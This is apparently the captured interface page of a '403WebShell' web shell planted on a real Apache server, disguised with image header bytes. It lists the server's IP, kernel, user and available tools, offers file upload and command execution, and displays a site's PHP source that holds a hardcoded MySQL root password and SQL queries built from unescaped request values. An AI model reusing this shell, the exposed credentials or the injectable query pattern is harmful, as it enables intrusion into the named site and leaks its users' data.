????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 13.59.90.172
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/project/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/icad.astacus.se/project/historylogsave.php
 <?php
 	session_start();
	
	$link = mysql_connect ("localhost", "root", "root123");
	mysql_select_db ("vpa");
	
	    $LogDate = date("Y-m-d H:i:s");  
		$ProjectId = $_GET['companyId'];
		
		$SystemUserId = $_SESSION['ASTACUS_SSO_INFO'][0];
		$UserGroupId = $_SESSION['ASTACUS_SSO_INFO'][3];
		$Email = $_SESSION['ASTACUS_SSO_INFO'][5];

		$Company = $_SESSION['ASTACUS_SSO_INFO'][10];
		
		
		 $sql = "SELECT * FROM Project Where ProjectId = $ProjectId";
    	 $result = mysql_query($sql);
	 	 while ($row = mysql_fetch_assoc($result)){ 
	  		$CompanyId =  $row['CompanyId'];
			$ProjectName =  $row['Name'];
	 	 }
		
		$CustomerId = $CompanyId;
		

		$Subject = $_POST['Subject'];
		
		
		$Activity = nl2br ($_POST['Activity']);
		$Customer = nl2br ($_POST['Customer']);
		$Function = nl2br ($_POST['Function']);
		$Function2 = nl2br ($_POST['Function2']);
		$TriggerDate = nl2br ($_POST['TriggerDate']);
		$TriggerTime = nl2br ($_POST['TriggerTime']);
		$TriggerTimeMin = nl2br ($_POST['TriggerTimeMin']);
		$Duration = nl2br ($_POST['Duration']);
		$Followup = nl2br ($_POST['followup']);
		
		if($TriggerDate == ""){
			$TriggerDate = "0000-00-00";
		}
		
		$FollowUpText = "";
		if( $Activity == "Follow up" && $Followup != "Follow Up"){
			$FollowUpText = "<br><br>Grade: ".$Followup;
		}
		
		$Message = $Activity." to ".$Customer.". ".$Function.": ".$Function2." @ $TriggerDate $TriggerTime:$TriggerTimeMin: <br><br>". nl2br ($_POST['sourceText'].$FollowUpText);
		
		
		$DateStamp = "20".date("y").date("W");
$TimeStampDate = date("Y-m-d h:i:s");
			$sql = "INSERT INTO CompanyAction VALUES(null,'$ProjectId ','$Message','$TriggerDate','$Function','$Email','astacusproject@gmail.com',0,'$Customer','$DateStamp','$TimeStampDate')";


    $result = mysql_query($sql);

if(date('I') == 1){ // Sommartid
	$TriggerTime = $TriggerTime - 2;
}else{ //Vintertid
	$TriggerTime = $TriggerTime - 1;
	} 





$TriggerDate1 = date("Ymd",strtotime($TriggerDate));
$TriggerTime1 = date("His",strtotime("$TriggerTime:$TriggerTimeMin"));

$DTSTART = $TriggerDate1."T".$TriggerTime1."Z";
$DTEND = $TriggerDate1."T".substr($TriggerTime1,0,2).$Duration."00Z";
$DTSTAMP = date("Ymd")."T".date("His")."Z"; 
$UID = rand(1000000,9999999);
$message="BEGIN:VCALENDAR
VERSION:2.0
CALSCALE:GREGORIAN
METHOD:REQUEST
BEGIN:VEVENT
DTSTART:$DTSTART 
DTEND:$DTEND
DTSTAMP:$DTSTAMP
ORGANIZER;CN=Astacus Project:mailto:astacusproject@astacus.se
UID:$UID
ATTENDEE;PARTSTAT=NEEDS-ACTION;RSVP= TRUE;CN=Astacus Project:mailto:astacusproject@astacus.se
DESCRIPTION: $Message Added by $Email
LOCATION: 
SEQUENCE:0
STATUS:CONFIRMED
SUMMARY: $Function2
TRANSP:OPAQUE
END:VEVENT
END:VCALENDAR";

/*Setting the header part, this is important */
$headers = "From: Astacus Project <astacusproject@astacus.se>\n";
$headers .= "MIME-Version: 1.0\n";
$headers .= "Content-Type: text/calendar; method=REQUEST;\n";
$headers .= '        charset="UTF-8"';
$headers .= "\n";
$headers .= "Content-Transfer-Encoding: 7bit";

/*mail content , attaching the ics detail in the mail as content*/
$subject = $Activity ." - ". $Customer ." booked by ".$Email;
$subject = html_entity_decode($subject, ENT_QUOTES, 'UTF-8');

/*mail send*/
if($Function != "No more action"){
	mail("astacusproject@astacus.se", $subject, $message, $headers);
	mail($Email, $subject, $message, $headers);
}

	header("Location: historylog.php?companyId=$ProjectId");

//echo($message);	
	

	?>

Youez - 2016 - github.com/yon3zu
LinuXploit